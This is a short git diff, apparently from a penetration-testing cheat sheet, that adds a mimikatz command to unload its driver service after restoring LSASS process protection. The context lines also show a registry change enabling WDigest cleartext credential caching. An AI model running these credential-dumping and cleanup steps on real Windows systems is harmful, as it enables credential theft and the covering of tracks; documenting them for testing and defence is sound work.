Unload the service mimi
This commit is contained in:
@@ -80,6 +80,9 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLo
|
|||||||
|
|
||||||
# Now lets re-add the protection flags to the lsass.exe process
|
# Now lets re-add the protection flags to the lsass.exe process
|
||||||
mimikatz # !processprotect /process:lsass.exe
|
mimikatz # !processprotect /process:lsass.exe
|
||||||
|
|
||||||
|
# Unload the service created
|
||||||
|
mimikatz # !-
|
||||||
```
|
```
|
||||||
|
|
||||||
- LSA is running as virtualized process (LSAISO) by **Credential Guard**
|
- LSA is running as virtualized process (LSAISO) by **Credential Guard**
|
||||||
|
|||||||
Reference in New Issue
Block a user